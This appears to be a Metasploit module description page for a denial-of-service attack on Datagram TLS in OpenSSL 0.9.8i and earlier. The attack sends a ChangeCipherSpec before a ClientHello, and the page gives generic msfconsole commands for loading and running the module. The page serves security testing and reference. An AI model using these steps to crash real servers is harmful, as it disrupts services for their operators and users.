This module performs a Denial of Service Attack against Datagram TLS in OpenSSL version 0.9.8i and earlier. OpenSSL crashes under these versions when it receives a ChangeCipherspec Datagram before a ClientHello.
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use auxiliary/dos/ssl/dtls_changecipherspec
msf auxiliary(dtls_changecipherspec) > show actions
...actions...
msf auxiliary(dtls_changecipherspec) > set ACTION < action-name >
msf auxiliary(dtls_changecipherspec) > show options
...show and set options...
msf auxiliary(dtls_changecipherspec) > run
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